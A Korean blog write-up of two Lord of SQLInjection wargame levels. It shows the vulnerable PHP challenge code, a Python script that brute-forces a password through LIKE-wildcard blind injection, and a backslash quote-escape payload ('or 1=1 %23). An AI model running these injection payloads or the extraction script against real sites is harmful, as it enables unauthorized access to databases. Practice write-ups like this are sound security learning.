1. assassin
코드를 보자.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("assassin");
highlight_file(__FILE__);
?>
이번 문제는 '(싱글쿼터)가 필터링 된다. 따라서 id='admin'으로 넣어줄 수 없기 때문에 like로 pw를 추측해야한다. like는 %를 사용하여 뒤에 값을 몰라도 추측할 수 있다. 예를들어 like 1%라면 1로 시작하는 값들 모두, like 12%라면 12로 시작하는 모든 값 이런 식으로 말이다. 그래서 첫글자에 관계없이 %를 보내보았다.
guest를 출력해줬다. 그래서 첫글자를 알기위해 0~9까지 또는 A~Z까지 한 번만 해보자해서 시도했는데
9에서 guest가 나왔다. admin은 아직 못봤기에 A~Z까지해봤는데 안나온다... 생각해보니 첫 글자가 guest랑 admin 둘 다 9일 때 예를들어 id가 0이라는 식으로 순서가 guest가 더 먼저라면 guest랑 일부로 겹치는 비밀번호로 설정했을 수 있겠구나 생각했다. 그럼 Hello guest가 아닌 Hello admin이 나올 때까지 대입해보면 되겠다 싶었다. 길이가 얼마나 길지 모르니 파이썬 스크립트를 작성해봤다.
import requests
cookie = {'PHPSESSID':'p2rmv5b2cqhi5jthugumjsevuv'}
pw = ""
for i in range(1,10) :
for j in range(48, 123) :
if j == 95 :
continue
host = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
query = "?pw=" + pw + chr(j) + "%"
url = host + query
r = requests.get(url = url, cookies = cookie)
if "Hello admin" in r.text :
pw += chr(j)
print("admin : ", pw)
break
if "Hello guest" in r.text :
pw += chr(j)
print("guest : ", pw)
print("password : " + pw)
orc에서 썼던 스크립트에서 필요한 것을 참고해서 사용했다. 우선 길이는 정확하게 몰라서 1~10까지로 반복되게 설정했다. 아스키 코드표에서 48인 0부터 122인 z까지 확인했다. 즉, 0~9과 A~z까지 알아보기위함. 계속 _이 뜨면서 이상한 값들이 나오길래 왜일까 생각을 했는데 48~122 중 95가 _가 포함되어있었는데 like연산자에서 _는 문자 하나를 대신한다는 것을 알게 되었다. 따라서 하나를 대신하면서 값이 달라졌다. 두 번째 반복문의 시작을 if절로 j가 95일 때 그냥 지나가는 즉 _를 제외하기 위해서 if문을 넣어주고 돌리니 제대로 된 값들이 나오기 시작했다.
사실상 guest와 admin의 pw값은 90까지만 같고 902부턴 admin의 pw로 진행되기때문에 902%만 보내줘도 해결이 가능하다.
?pw=902%
을 보내보니
해결했다.
2. succubus
코드를 보자
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/\'/',$_GET[id])) exit("HeHe");
if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
$query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("succubus");
highlight_file(__FILE__);
?>
이번 문제는 '(싱글쿼터)를 필터링하고 있다. 그럼 이제 '(싱글쿼터)를 우회해야하는데 "으로 우회할까 했지만 $query를 보면 입력받은 값 양쪽에 '(싱글쿼터)가 있어서 "(더블쿼터)은 사용할 수 없다. '(싱글쿼터)를 우회하는 방법을 찾아보니 \을 사용하여 뒷 내용을 문자열로 인식하게 하는 것이다. pw=' (받은 pw) '" 형식인데 pw=' 이 문자열로 인식되어 앞이 False가 되고 GET방식으로 pw를 or 1=1 %23을 주면 뒷 '"은 주석처리되면서 해결할 수 있다.
?id=\ & pw='or 1=1 %23
입력해주면
해결했다.
이번 주차는 SQL Injection에 관한 문제들만 풀어봤는데 드림핵을 통해서 삽질도 많이해보고 파이썬 스크립트에서 수 많은 오류와 결과가 안나오는 것을 많이 경험하니 문제 푸는데에 대해서 조금 더 수월했다. 그러나 아직 모르는 것들도 많았고 진짜 아다르고 어다르다고 한 글자가 모든 것을 좌우할 때도 있는 것 같다. 파이썬 스크립트를 작성하면서 조금 다르게 해보고 이건 왜 출력이 안될까 고민하고 조금 더 빨리 출력될 수는 없을까 시도해보는 시간이 길었던 것 같다. 파이썬 돌렸을 때 손바닥을 꽤 많이 비볐다... 이제 정말 얼마남지 않았는데 조금만 더 힘내서 노력해야겠다.
'Webhacking-Write-Up > LOS' 카테고리의 다른 글
[LoS] skeleton, golem, darkknight, bugbear, gaint (0) | 2023.01.15 |
---|---|
[LoS] wolfman, darkelf, orge, troll, campire (0) | 2023.01.14 |
[LoS] gremlin, cobolt, goblin, orc (0) | 2023.01.14 |